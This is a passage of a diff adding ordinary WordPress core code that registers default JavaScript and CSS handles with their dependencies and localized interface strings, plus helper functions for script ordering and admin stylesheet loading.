+	$scripts->add( 'jquery-ui-menu', "/wp-includes/js/jquery/ui/menu$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-mouse', "/wp-includes/js/jquery/ui/mouse$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-position', "/wp-includes/js/jquery/ui/position$dev_suffix.js", array('jquery'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-progressbar', "/wp-includes/js/jquery/ui/progressbar$dev_suffix.js", array('jquery-ui-widget'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-resizable', "/wp-includes/js/jquery/ui/resizable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-selectable', "/wp-includes/js/jquery/ui/selectable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-selectmenu', "/wp-includes/js/jquery/ui/selectmenu$dev_suffix.js", array('jquery-ui-menu'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-slider', "/wp-includes/js/jquery/ui/slider$dev_suffix.js", array('jquery-ui-mouse'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$dev_suffix.js", array('jquery-ui-mouse'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$dev_suffix.js", array( 'jquery-ui-button' ), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$dev_suffix.js", array('jquery-ui-core', 'jquery-ui-widget'), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.2', 1 );
+	$scripts->add( 'jquery-ui-widget', "/wp-includes/js/jquery/ui/widget$dev_suffix.js", array('jquery'), '1.11.2', 1 );
+
+	// deprecated, not used in core, most functionality is included in jQuery 1.3
+	$scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array('jquery'), '3.37.0', 1 );
+
+	// jQuery plugins
+	$scripts->add( 'jquery-color', "/wp-includes/js/jquery/jquery.color.min.js", array('jquery'), '2.1.1', 1 );
+	$scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array('jquery'), '1.1-20110113', 1 );
+	$scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array('jquery'), '20m', 1 );
+	$scripts->add( 'jquery-query', "/wp-includes/js/jquery/jquery.query.js", array('jquery'), '2.1.7', 1 );
+	$scripts->add( 'jquery-serialize-object', "/wp-includes/js/jquery/jquery.serialize-object.js", array('jquery'), '0.2', 1 );
+	$scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array('jquery'), '0.0.2m', 1 );
+	$scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array('jquery', 'jquery-hotkeys'), false, 1 );
+	$scripts->add( 'jquery-touch-punch', "/wp-includes/js/jquery/jquery.ui.touch-punch.js", array('jquery-ui-widget', 'jquery-ui-mouse'), '0.2.2', 1 );
+
+	// Masonry v2 depended on jQuery. v3 does not. The older jquery-masonry handle is a shiv.
+	// It sets jQuery as a dependency, as the theme may have been implicitly loading it this way.
+	$scripts->add( 'masonry', "/wp-includes/js/masonry.min.js", array(), '3.1.2', 1 );
+	$scripts->add( 'jquery-masonry', "/wp-includes/js/jquery/jquery.masonry$dev_suffix.js", array( 'jquery', 'masonry' ), '3.1.2', 1 );
+
+	$scripts->add( 'thickbox', "/wp-includes/js/thickbox/thickbox.js", array('jquery'), '3.1-20121105', 1 );
+	did_action( 'init' ) && $scripts->localize( 'thickbox', 'thickboxL10n', array(
+			'next' => __('Next &gt;'),
+			'prev' => __('&lt; Prev'),
+			'image' => __('Image'),
+			'of' => __('of'),
+			'close' => __('Close'),
+			'noiframes' => __('This feature requires inline frames. You have iframes disabled or your browser does not support them.'),
+			'loadingAnimation' => includes_url('js/thickbox/loadingAnimation.gif'),
+	) );
+
+	$scripts->add( 'jcrop', "/wp-includes/js/jcrop/jquery.Jcrop.min.js", array('jquery'), '0.9.12');
+
+	$scripts->add( 'swfobject', "/wp-includes/js/swfobject.js", array(), '2.2-20120417');
+
+	// error message for both plupload and swfupload
+	$uploader_l10n = array(
+		'queue_limit_exceeded' => __('You have attempted to queue too many files.'),
+		'file_exceeds_size_limit' => __('%s exceeds the maximum upload size for this site.'),
+		'zero_byte_file' => __('This file is empty. Please try another.'),
+		'invalid_filetype' => __('This file type is not allowed. Please try another.'),
+		'not_an_image' => __('This file is not an image. Please try another.'),
+		'image_memory_exceeded' => __('Memory exceeded. Please try another smaller file.'),
+		'image_dimensions_exceeded' => __('This is larger than the maximum size. Please try another.'),
+		'default_error' => __('An error occurred in the upload. Please try again later.'),
+		'missing_upload_url' => __('There was a configuration error. Please contact the server administrator.'),
+		'upload_limit_exceeded' => __('You may only upload 1 file.'),
+		'http_error' => __('HTTP error.'),
+		'upload_failed' => __('Upload failed.'),
+		'big_upload_failed' => __('Please try uploading this file with the %1$sbrowser uploader%2$s.'),
+		'big_upload_queued' => __('%s exceeds the maximum upload size for the multi-file uploader when used in your browser.'),
+		'io_error' => __('IO error.'),
+		'security_error' => __('Security error.'),
+		'file_cancelled' => __('File canceled.'),
+		'upload_stopped' => __('Upload stopped.'),
+		'dismiss' => __('Dismiss'),
+		'crunching' => __('Crunching&hellip;'),
+		'deleted' => __('moved to the trash.'),
+		'error_uploading' => __('&#8220;%s&#8221; has failed to upload.')
+	);
+
+	$scripts->add( 'plupload', '/wp-includes/js/plupload/plupload.full.min.js', array(), '2.1.1' );
+	// Back compat handles:
+	foreach ( array( 'all', 'html5', 'flash', 'silverlight', 'html4' ) as $handle ) {
+		$scripts->add( "plupload-$handle", false, array( 'plupload' ), '2.1.1' );
+	}
+
+	$scripts->add( 'plupload-handlers', "/wp-includes/js/plupload/handlers$suffix.js", array( 'plupload', 'jquery' ) );
+	did_action( 'init' ) && $scripts->localize( 'plupload-handlers', 'pluploadL10n', $uploader_l10n );
+
+	$scripts->add( 'wp-plupload', "/wp-includes/js/plupload/wp-plupload$suffix.js", array( 'plupload', 'jquery', 'json2', 'media-models' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-plupload', 'pluploadL10n', $uploader_l10n );
+
+	// keep 'swfupload' for back-compat.
+	$scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', array(), '2201-20110113');
+	$scripts->add( 'swfupload-swfobject', '/wp-includes/js/swfupload/plugins/swfupload.swfobject.js', array('swfupload', 'swfobject'), '2201a');
+	$scripts->add( 'swfupload-queue', '/wp-includes/js/swfupload/plugins/swfupload.queue.js', array('swfupload'), '2201');
+	$scripts->add( 'swfupload-speed', '/wp-includes/js/swfupload/plugins/swfupload.speed.js', array('swfupload'), '2201');
+	$scripts->add( 'swfupload-all', false, array('swfupload', 'swfupload-swfobject', 'swfupload-queue'), '2201');
+	$scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array('swfupload-all', 'jquery'), '2201-20110524');
+	did_action( 'init' ) && $scripts->localize( 'swfupload-handlers', 'swfuploadL10n', $uploader_l10n );
+
+	$scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", array(), false, 1 );
+
+	$scripts->add( 'json2', "/wp-includes/js/json2$suffix.js", array(), '2011-02-23');
+
+	$scripts->add( 'underscore', "/wp-includes/js/underscore$dev_suffix.js", array(), '1.6.0', 1 );
+	$scripts->add( 'backbone', "/wp-includes/js/backbone$dev_suffix.js", array( 'underscore','jquery' ), '1.1.2', 1 );
+
+	$scripts->add( 'wp-util', "/wp-includes/js/wp-util$suffix.js", array('underscore', 'jquery'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wp-util', '_wpUtilSettings', array(
+		'ajax' => array(
+			'url' => admin_url( 'admin-ajax.php', 'relative' ),
+		),
+	) );
+
+	$scripts->add( 'wp-backbone', "/wp-includes/js/wp-backbone$suffix.js", array('backbone', 'wp-util'), false, 1 );
+
+	$scripts->add( 'revisions', "/wp-admin/js/revisions$suffix.js", array( 'wp-backbone', 'jquery-ui-slider', 'hoverIntent' ), false, 1 );
+
+	$scripts->add( 'imgareaselect', "/wp-includes/js/imgareaselect/jquery.imgareaselect$suffix.js", array('jquery'), '0.9.10', 1 );
+
+	$scripts->add( 'mediaelement', "/wp-includes/js/mediaelement/mediaelement-and-player.min.js", array('jquery'), '2.15.1', 1 );
+	did_action( 'init' ) && $scripts->localize( 'mediaelement', 'mejsL10n', array(
+		'language' => get_bloginfo( 'language' ),
+		'strings'  => array(
+			'Close'               => __( 'Close' ),
+			'Fullscreen'          => __( 'Fullscreen' ),
+			'Download File'       => __( 'Download File' ),
+			'Download Video'      => __( 'Download Video' ),
+			'Play/Pause'          => __( 'Play/Pause' ),
+			'Mute Toggle'         => __( 'Mute Toggle' ),
+			'None'                => __( 'None' ),
+			'Turn off Fullscreen' => __( 'Turn off Fullscreen' ),
+			'Go Fullscreen'       => __( 'Go Fullscreen' ),
+			'Unmute'              => __( 'Unmute' ),
+			'Mute'                => __( 'Mute' ),
+			'Captions/Subtitles'  => __( 'Captions/Subtitles' )
+		),
+	) );
+
+
+	$scripts->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement.js", array('mediaelement'), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'mediaelement', '_wpmejsSettings', array(
+		'pluginPath' => includes_url( 'js/mediaelement/', 'relative' ),
+	) );
+
+	$scripts->add( 'wp-playlist', "/wp-includes/js/mediaelement/wp-playlist.js", array( 'wp-util', 'backbone', 'mediaelement' ), false, 1 );
+
+	$scripts->add( 'zxcvbn-async', "/wp-includes/js/zxcvbn-async$suffix.js", array(), '1.0' );
+	did_action( 'init' ) && $scripts->localize( 'zxcvbn-async', '_zxcvbnSettings', array(
+		'src' => empty( $guessed_url ) ? includes_url( '/js/zxcvbn.min.js' ) : $scripts->base_url . '/wp-includes/js/zxcvbn.min.js',
+	) );
+
+	$scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array( 'jquery', 'zxcvbn-async' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'password-strength-meter', 'pwsL10n', array(
+		'empty' => __('Strength indicator'),
+		'short' => __('Very weak'),
+		'bad' => __('Weak'),
+		/* translators: password strength */
+		'good' => _x('Medium', 'password strength'),
+		'strong' => __('Strong'),
+		'mismatch' => __('Mismatch')
+	) );
+
+	$scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array( 'jquery', 'password-strength-meter', 'wp-util' ), false, 1 );
+	$scripts->add( 'language-chooser', "/wp-admin/js/language-chooser$suffix.js", array( 'jquery' ), false, 1 );
+
+	$scripts->add( 'user-suggest', "/wp-admin/js/user-suggest$suffix.js", array( 'jquery-ui-autocomplete' ), false, 1 );
+
+	$scripts->add( 'admin-bar', "/wp-includes/js/admin-bar$suffix.js", array(), false, 1 );
+
+	$scripts->add( 'wplink', "/wp-includes/js/wplink$suffix.js", array( 'jquery' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'wplink', 'wpLinkL10n', array(
+		'title' => __('Insert/edit link'),
+		'update' => __('Update'),
+		'save' => __('Add Link'),
+		'noTitle' => __('(no title)'),
+		'noMatchesFound' => __('No results found.')
+	) );
+
+	$scripts->add( 'wpdialogs', "/wp-includes/js/wpdialog$suffix.js", array( 'jquery-ui-dialog' ), false, 1 );
+
+	$scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array( 'jquery' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'word-count', 'wordCountL10n', array(
+		/* translators: If your word count is based on single characters (East Asian characters),
+		   enter 'characters'. Otherwise, enter 'words'. Do not translate into your own language. */
+		'type' => 'characters' == _x( 'words', 'word count: words or characters?' ) ? 'c' : 'w',
+	) );
+
+	$scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox', 'shortcode' ), false, 1 );
+
+	$scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array('jquery'), 'r7', 1 );
+
+	$scripts->add( 'customize-base',     "/wp-includes/js/customize-base$suffix.js",     array( 'jquery', 'json2', 'underscore' ), false, 1 );
+	$scripts->add( 'customize-loader',   "/wp-includes/js/customize-loader$suffix.js",   array( 'customize-base' ), false, 1 );
+	$scripts->add( 'customize-preview',  "/wp-includes/js/customize-preview$suffix.js",  array( 'customize-base' ), false, 1 );
+	$scripts->add( 'customize-models',   "/wp-includes/js/customize-models.js", array( 'underscore', 'backbone' ), false, 1 );
+	$scripts->add( 'customize-views',    "/wp-includes/js/customize-views.js",  array( 'jquery', 'underscore', 'imgareaselect', 'customize-models' ), false, 1 );
+	$scripts->add( 'customize-controls', "/wp-admin/js/customize-controls$suffix.js", array( 'customize-base' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'customize-controls', '_wpCustomizeControlsL10n', array(
+		'activate'  => __( 'Save &amp; Activate' ),
+		'save'      => __( 'Save &amp; Publish' ),
+		'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+		'saved'     => __( 'Saved' ),
+		'cancel'    => __( 'Cancel' ),
+		'close'     => __( 'Close' ),
+		'cheatin'   => __( 'Cheatin&#8217; uh?' ),
+
+		// Used for overriding the file types allowed in plupload.
+		'allowedFiles' => __( 'Allowed Files' ),
+	) );
+
+	$scripts->add( 'customize-widgets', "/wp-admin/js/customize-widgets$suffix.js", array( 'jquery', 'jquery-ui-sortable', 'jquery-ui-droppable', 'wp-backbone', 'customize-controls' ), false, 1 );
+	$scripts->add( 'customize-preview-widgets', "/wp-includes/js/customize-preview-widgets$suffix.js", array( 'jquery', 'wp-util', 'customize-preview' ), false, 1 );
+
+	$scripts->add( 'accordion', "/wp-admin/js/accordion$suffix.js", array( 'jquery' ), false, 1 );
+
+	$scripts->add( 'shortcode', "/wp-includes/js/shortcode$suffix.js", array( 'underscore' ), false, 1 );
+	$scripts->add( 'media-models', "/wp-includes/js/media-models$suffix.js", array( 'wp-backbone' ), false, 1 );
+	did_action( 'init' ) && $scripts->localize( 'media-models', '_wpMediaModelsL10n', array(
+		'settings' => array(
+			'ajaxurl' => admin_url( 'admin-ajax.php', 'relative' ),
+			'post' => array( 'id' => 0 ),
+		),
+	) );
+
+	// To enqueue media-views or media-editor, call wp_enqueue_media().
+	// Both rely on numerous settings, styles, and templates to operate correctly.
+	$scripts->add( 'media-views',  "/wp-includes/js/media-views$suffix.js",  array( 'utils', 'media-models', 'wp-plupload', 'jquery-ui-sortable', 'wp-mediaelement' ), false, 1 );
+	$scripts->add( 'media-editor', "/wp-includes/js/media-editor$suffix.js", array( 'shortcode', 'media-views' ), false, 1 );
+	$scripts->add( 'media-audiovideo', "/wp-includes/js/media-audiovideo$suffix.js", array( 'media-editor' ), false, 1 );
+	$scripts->add( 'mce-view', "/wp-includes/js/mce-view$suffix.js", array( 'shortcode', 'media-models', 'media-audiovideo', 'wp-playlist' ), false, 1 );
+
+	if ( is_admin() ) {
+		$scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array('jquery', 'wp-ajax-response'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'admin-tags', 'tagsl10n', array(
+			'noPerm' => __('You do not have permission to do that.'),
+			'broken' => __('An unidentified error has occurred.')
+		));
+
+		$scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array('wp-lists', 'quicktags', 'jquery-query'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'admin-comments', 'adminCommentsL10n', array(
+			'hotkeys_highlight_first' => isset($_GET['hotkeys_highlight_first']),
+			'hotkeys_highlight_last' => isset($_GET['hotkeys_highlight_last']),
+			'replyApprove' => __( 'Approve and Reply' ),
+			'reply' => __( 'Reply' )
+		) );
+
+		$scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", array('jquery'), false, 1 );
+
+		$scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array('jquery-ui-sortable'), false, 1 );
+
+		$scripts->add( 'post', "/wp-admin/js/post$suffix.js", array('suggest', 'wp-lists', 'postbox'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'post', 'postL10n', array(
+			'ok' => __('OK'),
+			'cancel' => __('Cancel'),
+			'publishOn' => __('Publish on:'),
+			'publishOnFuture' =>  __('Schedule for:'),
+			'publishOnPast' => __('Published on:'),
+			/* translators: 1: month, 2: day, 3: year, 4: hour, 5: minute */
+			'dateFormat' => __('%1$s %2$s, %3$s @ %4$s : %5$s'),
+			'showcomm' => __('Show more comments'),
+			'endcomm' => __('No more comments found.'),
+			'publish' => __('Publish'),
+			'schedule' => __('Schedule'),
+			'update' => __('Update'),
+			'savePending' => __('Save as Pending'),
+			'saveDraft' => __('Save Draft'),
+			'private' => __('Private'),
+			'public' => __('Public'),
+			'publicSticky' => __('Public, Sticky'),
+			'password' => __('Password Protected'),
+			'privatelyPublished' => __('Privately Published'),
+			'published' => __('Published'),
+			'comma' => _x( ',', 'tag delimiter' ),
+			'saveAlert' => __('The changes you made will be lost if you navigate away from this page.'),
+			'savingText' => __('Saving Draft&#8230;'),
+		) );
+
+		$scripts->add( 'editor-expand', "/wp-admin/js/editor-expand$suffix.js", array( 'jquery' ), false, 1 );
+
+		$scripts->add( 'link', "/wp-admin/js/link$suffix.js", array( 'wp-lists', 'postbox' ), false, 1 );
+
+		$scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array( 'jquery', 'postbox' ) );
+		$scripts->add_data( 'comment', 'group', 1 );
+		did_action( 'init' ) && $scripts->localize( 'comment', 'commentL10n', array(
+			'submittedOn' => __('Submitted on:')
+		) );
+
+		$scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ) );
+
+		$scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable' ), false, 1 );
+
+		$scripts->add( 'theme', "/wp-admin/js/theme$suffix.js", array( 'wp-backbone' ), false, 1 );
+
+		$scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery', 'suggest' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'inline-edit-post', 'inlineEditL10n', array(
+			'error' => __('Error while saving the changes.'),
+			'ntdeltitle' => __('Remove From Bulk Edit'),
+			'notitle' => __('(no title)'),
+			'comma' => trim( _x( ',', 'tag delimiter' ) ),
+		) );
+
+		$scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'inline-edit-tax', 'inlineEditL10n', array(
+			'error' => __('Error while saving the changes.')
+		) );
+
+		$scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery', 'thickbox' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'plugin-install', 'plugininstallL10n', array(
+			'plugin_information' => __('Plugin Information:'),
+			'ays' => __('Are you sure you want to install this plugin?')
+		) );
+
+		$scripts->add( 'updates', "/wp-admin/js/updates$suffix.js", array( 'jquery' ) );
+
+		$scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array('jquery'), '1.2' );
+
+		$scripts->add( 'iris', '/wp-admin/js/iris.min.js', array( 'jquery-ui-draggable', 'jquery-ui-slider', 'jquery-touch-punch' ), '1.0.7', 1 );
+		$scripts->add( 'wp-color-picker', "/wp-admin/js/color-picker$suffix.js", array( 'iris' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'wp-color-picker', 'wpColorPickerL10n', array(
+			'clear' => __( 'Clear' ),
+			'defaultString' => __( 'Default' ),
+			'pick' => __( 'Select Color' ),
+			'current' => __( 'Current Color' ),
+		) );
+
+		$scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox' ), false, 1 );
+
+		$scripts->add( 'list-revisions', "/wp-includes/js/wp-list-revisions$suffix.js" );
+
+		$scripts->add( 'media-grid', "/wp-includes/js/media-grid$suffix.js", array( 'media-editor' ), false, 1 );
+		$scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'media', 'attachMediaBoxL10n', array(
+			'error' => __( 'An error has occurred. Please reload the page and try again.' ),
+		));
+
+		$scripts->add( 'image-edit', "/wp-admin/js/image-edit$suffix.js", array('jquery', 'json2', 'imgareaselect'), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'image-edit', 'imageEditL10n', array(
+			'error' => __( 'Could not load the preview image. Please reload the page and try again.' )
+		));
+
+		$scripts->add( 'set-post-thumbnail', "/wp-admin/js/set-post-thumbnail$suffix.js", array( 'jquery' ), false, 1 );
+		did_action( 'init' ) && $scripts->localize( 'set-post-thumbnail', 'setPostThumbnailL10n', array(
+			'setThumbnail' => __( 'Use as featured image' ),
+			'saving' => __( 'Saving...' ),
+			'error' => __( 'Could not set that as the thumbnail image. Try a different attachment.' ),
+			'done' => __( 'Done' )
+		) );
+
+		// Navigation Menus
+		$scripts->add( 'nav-menu', "/wp-admin/js/nav-menu$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable', 'wp-lists', 'postbox' ) );
+		did_action( 'init' ) && $scripts->localize( 'nav-menu', 'navMenuL10n', array(
+			'noResultsFound' => __( 'No results found.' ),
+			'warnDeleteMenu' => __( "You are about to permanently delete this menu. \n 'Cancel' to stop, 'OK' to delete." ),
+			'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ),
+			'untitled' => _x( '(no label)', 'missing menu item navigation label' )
+		) );
+
+		$scripts->add( 'custom-header', "/wp-admin/js/custom-header.js", array( 'jquery-masonry' ), false, 1 );
+		$scripts->add( 'custom-background', "/wp-admin/js/custom-background$suffix.js", array( 'wp-color-picker', 'media-views' ), false, 1 );
+		$scripts->add( 'media-gallery', "/wp-admin/js/media-gallery$suffix.js", array('jquery'), false, 1 );
+
+		$scripts->add( 'svg-painter', '/wp-admin/js/svg-painter.js', array( 'jquery' ), false, 1 );
+	}
+}
+
+/**
+ * Assign default styles to $styles object.
+ *
+ * Nothing is returned, because the $styles parameter is passed by reference.
+ * Meaning that whatever object is passed will be updated without having to
+ * reassign the variable that was passed back to the same value. This saves
+ * memory.
+ *
+ * Adding default styles is not the only task, it also assigns the base_url
+ * property, the default version, and text direction for the object.
+ *
+ * @since 2.6.0
+ *
+ * @param object $styles
+ */
+function wp_default_styles( &$styles ) {
+	include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version
+
+	if ( ! defined( 'SCRIPT_DEBUG' ) )
+		define( 'SCRIPT_DEBUG', false !== strpos( $wp_version, '-src' ) );
+
+	if ( ! $guessurl = site_url() )
+		$guessurl = wp_guess_url();
+
+	$styles->base_url = $guessurl;
+	$styles->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : '';
+	$styles->default_version = get_bloginfo( 'version' );
+	$styles->text_direction = function_exists( 'is_rtl' ) && is_rtl() ? 'rtl' : 'ltr';
+	$styles->default_dirs = array('/wp-admin/', '/wp-includes/css/');
+
+	$open_sans_font_url = '';
+
+	/* translators: If there are characters in your language that are not supported
+	 * by Open Sans, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Open Sans font: on or off' ) ) {
+		$subsets = 'latin,latin-ext';
+
+		/* translators: To add an additional Open Sans character subset specific to your language,
+		 * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
+		 */
+		$subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)' );
+
+		if ( 'cyrillic' == $subset ) {
+			$subsets .= ',cyrillic,cyrillic-ext';
+		} elseif ( 'greek' == $subset ) {
+			$subsets .= ',greek,greek-ext';
+		} elseif ( 'vietnamese' == $subset ) {
+			$subsets .= ',vietnamese';
+		}
+
+		// Hotlink Open Sans, for now
+		$open_sans_font_url = "//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,300,400,600&subset=$subsets";
+	}
+
+	// Register a stylesheet for the selected admin color scheme.
+	$styles->add( 'colors', true, array( 'wp-admin', 'buttons', 'open-sans', 'dashicons' ) );
+
+	$suffix = SCRIPT_DEBUG ? '' : '.min';
+
+	// Admin CSS
+	$styles->add( 'wp-admin',           "/wp-admin/css/wp-admin$suffix.css", array( 'open-sans', 'dashicons' ) );
+	$styles->add( 'login',              "/wp-admin/css/login$suffix.css", array( 'buttons', 'open-sans', 'dashicons' ) );
+	$styles->add( 'install',            "/wp-admin/css/install$suffix.css", array( 'buttons', 'open-sans' ) );
+	$styles->add( 'wp-color-picker',    "/wp-admin/css/color-picker$suffix.css" );
+	$styles->add( 'customize-controls', "/wp-admin/css/customize-controls$suffix.css", array( 'wp-admin', 'colors', 'ie', 'imgareaselect' ) );
+	$styles->add( 'customize-widgets',  "/wp-admin/css/customize-widgets$suffix.css", array( 'wp-admin', 'colors' ) );
+	$styles->add( 'ie',                 "/wp-admin/css/ie$suffix.css" );
+
+	$styles->add_data( 'ie', 'conditional', 'lte IE 7' );
+
+	// Common dependencies
+	$styles->add( 'buttons',   "/wp-includes/css/buttons$suffix.css" );
+	$styles->add( 'dashicons', "/wp-includes/css/dashicons$suffix.css" );
+	$styles->add( 'open-sans', $open_sans_font_url );
+
+	// Includes CSS
+	$styles->add( 'admin-bar',      "/wp-includes/css/admin-bar$suffix.css", array( 'open-sans', 'dashicons' ) );
+	$styles->add( 'wp-auth-check',  "/wp-includes/css/wp-auth-check$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'editor-buttons', "/wp-includes/css/editor$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'media-views',    "/wp-includes/css/media-views$suffix.css", array( 'buttons', 'dashicons', 'wp-mediaelement' ) );
+	$styles->add( 'wp-pointer',     "/wp-includes/css/wp-pointer$suffix.css", array( 'dashicons' ) );
+
+	// External libraries and friends
+	$styles->add( 'imgareaselect',       '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' );
+	$styles->add( 'wp-jquery-ui-dialog', "/wp-includes/css/jquery-ui-dialog$suffix.css", array( 'dashicons' ) );
+	$styles->add( 'mediaelement',        "/wp-includes/js/mediaelement/mediaelementplayer.min.css", array(), '2.15.1' );
+	$styles->add( 'wp-mediaelement',     "/wp-includes/js/mediaelement/wp-mediaelement.css", array( 'mediaelement' ) );
+	$styles->add( 'thickbox',            '/wp-includes/js/thickbox/thickbox.css', array( 'dashicons' ) );
+
+	// Deprecated CSS
+	$styles->add( 'media',      "/wp-admin/css/deprecated-media$suffix.css" );
+	$styles->add( 'farbtastic', '/wp-admin/css/farbtastic.css', array(), '1.3u1' );
+	$styles->add( 'jcrop',      "/wp-includes/js/jcrop/jquery.Jcrop.min.css", array(), '0.9.12' );
+	$styles->add( 'colors-fresh', false, array( 'wp-admin', 'buttons' ) ); // Old handle.
+
+	// RTL CSS
+	$rtl_styles = array(
+		// wp-admin
+		'wp-admin', 'install', 'wp-color-picker', 'customize-controls', 'customize-widgets', 'ie', 'login',
+		// wp-includes
+		'buttons', 'admin-bar', 'wp-auth-check', 'editor-buttons', 'media-views', 'wp-pointer',
+		'wp-jquery-ui-dialog',
+		// deprecated
+		'media', 'farbtastic',
+	);
+
+	foreach ( $rtl_styles as $rtl_style ) {
+		$styles->add_data( $rtl_style, 'rtl', 'replace' );
+		if ( $suffix ) {
+			$styles->add_data( $rtl_style, 'suffix', $suffix );
+		}
+	}
+}
+
+/**
+ * Reorder JavaScript scripts array to place prototype before jQuery.
+ *
+ * @since 2.3.1
+ *
+ * @param array $js_array JavaScript scripts array
+ * @return array Reordered array, if needed.
+ */
+function wp_prototype_before_jquery( $js_array ) {
+	if ( false === $prototype = array_search( 'prototype', $js_array, true ) )
+		return $js_array;
+
+	if ( false === $jquery = array_search( 'jquery', $js_array, true ) )
+		return $js_array;
+
+	if ( $prototype < $jquery )
+		return $js_array;
+
+	unset($js_array[$prototype]);
+
+	array_splice( $js_array, $jquery, 0, 'prototype' );
+
+	return $js_array;
+}
+
+/**
+ * Load localized data on print rather than initialization.
+ *
+ * These localizations require information that may not be loaded even by init.
+ *
+ * @since 2.5.0
+ */
+function wp_just_in_time_script_localization() {
+
+	wp_localize_script( 'autosave', 'autosaveL10n', array(
+		'autosaveInterval' => AUTOSAVE_INTERVAL,
+		'blog_id' => get_current_blog_id(),
+	) );
+
+}
+
+/**
+ * Administration Screen CSS for changing the styles.
+ *
+ * If installing the 'wp-admin/' directory will be replaced with './'.
+ *
+ * The $_wp_admin_css_colors global manages the Administration Screens CSS
+ * stylesheet that is loaded. The option that is set is 'admin_color' and is the
+ * color and key for the array. The value for the color key is an object with
+ * a 'url' parameter that has the URL path to the CSS file.
+ *
+ * The query from $src parameter will be appended to the URL that is given from
+ * the $_wp_admin_css_colors array value URL.
+ *
+ * @since 2.6.0
+ * @uses $_wp_admin_css_colors
+ *
+ * @param string $src Source URL.
+ * @param string $handle Either 'colors' or 'colors-rtl'.
+ * @return string URL path to CSS stylesheet for Administration Screens.
+ */
+function wp_style_loader_src( $src, $handle ) {
+	global $_wp_admin_css_colors;
+
+	if ( defined('WP_INSTALLING') )
+		return preg_replace( '#^wp-admin/#', './', $src );
+
+	if ( 'colors' == $handle ) {
